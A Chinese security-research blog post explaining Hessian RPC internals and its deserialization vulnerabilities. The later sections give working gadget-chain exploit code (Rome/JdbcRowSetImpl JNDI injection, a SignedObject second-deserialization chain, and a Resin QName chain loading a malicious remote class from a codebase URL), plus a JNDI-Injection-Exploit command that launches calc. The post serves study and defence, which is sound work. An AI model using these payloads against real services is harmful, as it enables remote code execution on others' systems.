Hessian 反序列化
Hessian基础
Hessian类似于RMI也是一种 RPC(Remote Produce Call)的实现。基于HTTP协议,使用二进制消息进行客户端和服务器端交互。
Hessian 自行定义了一套自己的储存和还原数据的机制。对 8 种基础数据类型、3 种递归类型、ref 引用以及 Hessian 2.0 中的内部引用映射进行了相关定义。这样的设计使得 Hassian 可以进行跨语言跨平台的调用。
基础使用
pom.xml添加依赖,项目结构那再添加依赖到lib
<dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.66</version></dependency>
通过把提供服务的类注册成 Servlet 的方式来作为 Server 端进行交互。
- 定义一个远程接口的接口。
publicinterfaceService{StringgetTime();}
- 定义一个实现该接口的类,并使用注解配置Servlet(也可通过web.xml配置)
importcom.caucho.hessian.server.HessianServlet;importjavax.servlet.annotation.WebServlet;importjava.time.LocalDateTime;importjava.time.format.DateTimeFormatter;@WebServlet(name ="hessian", value ="/hessian")publicclassServiceImplextendsHessianServletimplementsService{@OverridepublicStringgetTime(){return"当前时间为:"+LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));}}
客户端:
importcom.caucho.hessian.client.HessianProxyFactory;importjava.net.MalformedURLException;publicclassClient{publicstaticvoidmain(String[] args)throwsMalformedURLException{String url="http://localhost:8081/hessian";HessianProxyFactory factory=newHessianProxyFactory();Service service=(Service) factory.create(Service.class, url);System.out.println(service.getTime());}}
远程调用过程
Client
HessianProxy
是Client端的核心类,用来代理客户端对远程接口的调用。既然是动态代理就主要关注其invoke方法的逻辑。
在方法调用处下断点,进入
com.caucho.hessian.client.HessianProxy#invoke
方法。
- 获取方法名和参数类型,以及对于equals和hashCode特殊处理。
- 获取输入流,调用sendRequest函数向server发送请求,包括函数名及函数的参数得到连接对象-
com.caucho.hessian.client.HessianProxy#sendRequest
函数中,在得到连接后用out.call
调用远程方法 - 从连接中得到返回的结果,返回的二进制值存在is中
- 对返回值进行处理,根据code值选择对应的版本进行读取
Server
HessianSkeleton
是Server端的核心类,从输入流中反序列化出Client端调用的方法和参数,对Server端服务进行调用并返回结果。
直接在被调用的方法处打断点开始调试,从
com.caucho.hessian.server.HessianServlet
开始看。
com.caucho.hessian.server.HessianServlet#service
是相关处理的起始位置。
- Hessian仅支持POST,不符则返回500状态码
- 会获取请求中的id或者ejbid参数(可以导致调用不同的实体 Beans)作为objectId
- 最后返回ContentType为
x-application/hessian
的响应
由
com.caucho.hessian.server.HessianServlet#invoke
根据 objectID 是否为空进行调用,
接着进入
com.caucho.hessian.server.HessianSkeleton#invoke(java.io.InputStream, java.io.OutputStream, com.caucho.hessian.io.SerializerFactory)
方法。
Hessian源码分析–HessianSkeleton
HessianSkeleton是Hessian的服务端的核心,简单总结来说:HessianSkeleton根据客户端请求的链接,获取到需要执行的接口及实现类,对客户端发送过来的二进制数据进行反序列化,获得需要执行的函数及参数值,然后根据函数和参数值执行具体的函数,接下来对执行的结果进行序列化然后通过连接返回给客户端。
- 读取协议头
- 根据协议头使用对应的输入输出流(适应hessian/hessian2混用)
- 输入输出流设置序列化工厂类
接着调用
com.caucho.hessian.server.HessianSkeleton#invoke(java.lang.Object, com.caucho.hessian.io.AbstractHessianInput, com.caucho.hessian.io.AbstractHessianOutput)
方法进一步处理。
- 获取调用方法名和参数长度,再根据此信息得到该方法
else if ("_hessian_getAttribute...
那应该是匹配xml配置servlet的写法
- 获取方法参数类型
- 根据参数类型反序列化得到参数值
- 再根据service反射调用对应实例的方法
序列化与反序列化
序列化相关类的主体结构如下:
详细流程图可以参考:Hession反序列化流程
Hessian 定义了
AbstractHessianInput/AbstractHessianOutput
两个抽象类,用来提供序列化数据的读取和写入功能。
默认情况下,客户端使用 Hessian 1.0 协议格式发送序列化数据,服务端使用 Hessian 2.0 协议格式返回序列化数据。
序列化
同样,在上面过程中也可以发现,在子类
com.caucho.hessian.io.Hessian2Output
的具体实现中,提供了
call
相关方法执行方法调用,
writeXXX
方法进行序列化数据的写入。
为了方便下面的调试可以修改一下上面的客户端服务端,增加一个实体类,将返回类型设置为该类。
如server端写入返回结果的时候,先调用writeReply方法再调用writeObject进行对象写入
com.caucho.hessian.io.Hessian2Output#writeObject
根据指定的类型获取序列化器
Serializer
的实现类,并调用其
writeObject
方法序列化数据。
这里返回的是自定义的Time类,但对于自定义类型,将会使用
JavaSerializer/UnsafeSerializer/JavaUnsharedSerializer
进行相关的序列化动作,默认情况下是
UnsafeSerializer
。
UnsafeSerializer#writeObject
会调用对应协议版本的
writeObjectBegin
方法。
主要逻辑为先获取Class的引用次数,如果Class已经引用过了则不需要重新解析,直接写入对象即可;
如果Class没有引用过则先写入类的定义,包括属性的个数和依次写入所有属性的名称。然后在写入类的名称,最后再执行writeInstance方法写入实例对象。
返回值的定义在各版本中有所不同
- Hessian 2 中会写入自定义类型。进入else if 将会调用
writeDefinition20
和Hessian2Output#writeObjectBegin
方法写入自定义数据
- Hessian 1 中没有重写该方法将自定义类型标记为 Map 类型。进入最后的else
反序列化
看到
com.caucho.hessian.client.HessianProxy#invoke
客户端读取返回结果的部分
对应协议版本的
readReply
会根据返回的预期类型进行读取
- Hessian 2
进入
Hessian2Input#readObject(java.lang.Class)
方法。主体是
switch case
语句,在读取标识位后根据不同的数据类型调用相关的处理逻辑。
比如触发漏洞中常见的HashMap或者Map,在得到其反序列化器之后调用其readMap方法。
Hessian2Input#readObject()
中也是类似逻辑,
com.caucho.hessian.io.SerializerFactory#readMap
中也是获取对应的反序列化器,然后再调用其readMap方法。
当然在这个Demo中是进入
case 'C'
加载自定义类型
readObjectDefinition
函数获取类定义,包括属性的个数和依次写入所有属性的名称。然后return处一个回调,进入另一个case语句。
com.caucho.hessian.io.Hessian2Input#readObjectInstance
会去实例化类。
instantiate
使用 unsafe 实例的
allocateInstance
直接创建类实例
- Hessian 1
com.caucho.hessian.io.HessianInput#readObject(java.lang.Class)
没有针对 Object 的读取,而是都将其作为 Map 读取。
上面提到Hessian 1序列化在写入自定义类型时会将其标记为 Map 类型,所以查看
com.caucho.hessian.io.MapDeserializer#readMap
方法,会根据类型创建不同的map,然后序列化读取。
读取map键值的反序列化读取调用的是
com.caucho.hessian.io.HessianInput#readObject()
方法,然后再根据类型调用不同的deserializer
最后通过
map.put
设置键值对,这也是hessian反序列化漏洞成因。
Serializable
Hessian序列化不关注serialVersionUID,hessian序列化时把类的描述信息写入到byte[]中。且不允许任意代理,并且不支持自定义的集合比较器。
Hessian 实际支持反序列化任意类,无需实现 Serializable 接口。
- 序列化- 需要实现
java.io.Serializable
接口(默认)- 任意类序列化(_isAllowNonSerializable=true
) - 反序列化- 任意类序列化(判断在序列化过程中进行)
HessianOutput output =newHessianOutput(bao);//序列化没有实现java.io.Serializable接口的类
output.getSerializerFactory().setAllowNonSerializable(true);
漏洞和利用链
Hessian各种反序列化链中和Map相关的触发都与put 键值对有关:
- HashMap:- 处理如何连接链表时hash方法进行计算是否有相同的key,会调用 key 的 hashCode 方法。
HashMap.readObject() -> HashMap.hash() -> XXX.hashCode()
- 生成链表时会调用 key 的 equals 方法进行比较HashMap.readObject() -> HashMap.putVal() -> XXX.equals()
(jdk7u21中用到过) - TreeMap:- 排序时通过 compare 方法进行比较,会调用 key 的 compareTo 方法。
所以在Hessian的反序列化利用链中,起始方法只能为
hashCode/equals/compareTo
方法。
marshalsec集成了
Hessian
反序列化的
gadget
:
- Rome
- XBean
- Resin
- SpringPartiallyComparableAdvisorHolder
- SpringPartiallyComparableAdvisorHolder
Rome
hashCode触发
JdbcRowSetImpl
Gadget的原理前面写过(反序列化漏洞-Rome),核心是
ToStringBean#toString()
会调用其封装类的所有无参 getter方法,可以借助
JdbcRowSetImpl#getDatabaseMetaData()
方法触发 JNDI 注入。
触发调用是通过HashMap在 put 键值对会调用
HashMap<K,V>.hash(Object)
方法校验重复key,从而调用
ObjectBean.hashCode()
。
依赖换成了和marshalsec一样的rometools,JDK版本为8u111(方便打JNDI)
<dependency><groupId>com.rometools</groupId><artifactId>rome</artifactId><version>1.7.0</version></dependency>
要修改下ObjectBean类属性名
JdbcRowSetImpl jdbcRowSet =newJdbcRowSetImpl();String url ="ldap://127.0.0.1:1389/2hig5s";
jdbcRowSet.setDataSourceName(url);ToStringBean toStringBean =newToStringBean(JdbcRowSetImpl.class,jdbcRowSet);EqualsBean equalsBean =newEqualsBean(ToStringBean.class,toStringBean);ObjectBean extObjectBean =newObjectBean(String.class,"test");Map expMap =newHashMap();
expMap.put(extObjectBean,"test");SerializeUtil.setFieldValue(extObjectBean,"equalsBean",equalsBean);deserialize(serialize(expMap));
工具类方法如下:
publicstatic<T>byte[]serialize(T o)throwsIOException{ByteArrayOutputStream bao =newByteArrayOutputStream();HessianOutput output =newHessianOutput(bao);
output.writeObject(o);System.out.println(bao.toString());return bao.toByteArray();}publicstatic<T>Tdeserialize(byte[] bytes)throwsIOException{ByteArrayInputStream bai =newByteArrayInputStream(bytes);HessianInput input =newHessianInput(bai);Object o = input.readObject();return(T) o;}publicstaticvoidsetFieldValue(Object obj,String name,Object value)throwsException{Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);}
利用工具起一个JNDI服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1
二次反序列化
java.security.SignedObject
的getter方法存在二次反序列化
这里二次序列化用的是HashMap#readObject()方法去再次触发Rome链。
publicclassHessianRome2{publicstaticvoidmain(String[] args)throwsException{HashMapTI_Map=makeMap(Templates.class,generateTemplatesImpl());//生成私钥KeyPairGenerator keyPairGenerator =KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();//生成签名对象Signature signingEngine =Signature.getInstance("DSA");;SignedObject so =newSignedObject(TI_Map, privateKey, signingEngine);Map expMap =makeMap(SignedObject.class,so);deserialize(serialize(expMap));}publicstaticHashMapmakeMap(Class expectedClass,Object o)throwsException{ToStringBean toStringBean =newToStringBean(expectedClass, o);EqualsBean equalsBean =newEqualsBean(ToStringBean.class, toStringBean);ObjectBean extObjectBean =newObjectBean(String.class,"test");HashMap expMap =newHashMap();
expMap.put(extObjectBean,"test");SerializeUtil.setFieldValue(extObjectBean,"equalsBean",equalsBean);return expMap;}}
这里有点疑问,为什么不直接用Rome反序列化链。尝试无果,调试可见在
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
获取类加载器的时候空指针报错,原因是
TemplatesImpl#_tfactory
属性为null。
正常情况是这样的
这是因为
_tfactory
是一个transient修饰的属性,不会被反序列化。而在原生反序列化时,该属性是在
TemplatesImpl#readObject
中重新设置进去的。
在hessian反序列化中读取属性时可以发现压根就没写入这个属性
在hessian序列化时,由
UnsafeSerializer#introspect
方法来获取对象中的字段,在老版本中应该是
getFieldMap
方法。依旧是判断了成员变量标识符,如果是 transient 和 static 字段则不会参与序列化反序列化流程。
https://su18.org/post/hessian/#serializable
在原生流程中,标识为 transient 仅代表不希望 Java 序列化反序列化这个对象,开发人员可以在
writeObject/readObject
中使用自己的逻辑写入和恢复对象,但是 Hessian 中没有这种机制,因此标识为 transient 的字段在反序列化中一定没有值的。
Resin
equals触发
添加依赖如下:
<!-- contains QName --><dependency><groupId>com.caucho</groupId><artifactId>quercus</artifactId><version>4.0.45</version></dependency>
调用链
XString#equals
QName#toString
ContinuationContext#composeName(java.lang.String, java.lang.String)
ContinuationContext#getTargetContext
NamingManager#getContext
NamingManager#getObjectInstance
NamingManager#getObjectFactoryFromReference
NamingManager#getObjectInstance
那就很明显了,其实就是加载远程的
ObjectFactory
。前面使用HashMap在比较中调用key.equals方法,即
com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)
来触发。
在putVal的时候,hash一样所以进入后面的
key.equals(k)
;传进去的k就是QName对象,然后再调用其toString方法。
com.caucho.naming.QName#toString
javax.naming.spi.ContinuationContext#composeName(java.lang.String, java.lang.String)
javax.naming.spi.ContinuationContext#getTargetContext
javax.naming.spi.NamingManager#getContext
简单实现一下,弹个计算器
// 定义一个远程的class 包含一个恶意攻击的对象的工厂类String codebase ="http://127.0.0.1:8180/";// 对象的工厂类名String classFactory ="ExecTemplateJDK8";//实例化一个CannotProceedException对象,并设置远程对象CannotProceedException cpe =newCannotProceedException();
cpe.setResolvedObj(newReference("Foo", classFactory, codebase));//通过反射实例化ContinuationDirContext类Class<?> ccCl =Class.forName("javax.naming.spi.ContinuationContext");Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class,Hashtable.class);
ccCons.setAccessible(true);Context ctx =(Context) ccCons.newInstance(cpe,newHashtable<>());QName qName =newQName(ctx,"foo","bar");//根据qName计算hash碰撞值String unhash =unhash(qName.hashCode());XString xString =newXString(unhash);//xString在存入时hash值和前面的qName一样,就会调用key.equals进行判断 触发调用HashMap expMap =newHashMap();
expMap.put(qName,"test");
expMap.put(xString,"test");ByteArrayOutputStream bao =newByteArrayOutputStream();HessianOutput output =newHessianOutput(bao);//序列化没有实现java.io.Serializable接口的类
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(expMap);deserialize(bao.toByteArray());
hash碰撞的函数如下,搁老外这抄的https://bchetty.com/blog/hashcode-of-string-in-java:
privatestaticStringunhash(int hash){int target = hash;StringBuilder answer =newStringBuilder();if( target <0){// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");if( target ==Integer.MIN_VALUE)return answer.toString();// Find target without sign bit set
target = target &Integer.MAX_VALUE;}unhash0(answer, target);return answer.toString();}privatestaticvoid unhash0 (StringBuilder partial,int target ){int div = target /31;int rem = target %31;if( div <=Character.MAX_VALUE){if( div !=0)
partial.append((char) div);
partial.append((char) rem);}else{unhash0(partial, div);
partial.append((char) rem);}}
还是用的JNDI-Injection-Exploit的http服务来加载恶意.class文件
参考
Hessian源码分析–总体架构
Hessian 反序列化知一二
hessian实现(客户端服务端在同一个项目中)
marshalsec.pdf 中文翻译 Java Unmarshaller Security (将您的数据转化为代码执行)
版权归原作者 Arnoldqqq 所有, 如有侵权,请联系我们删除。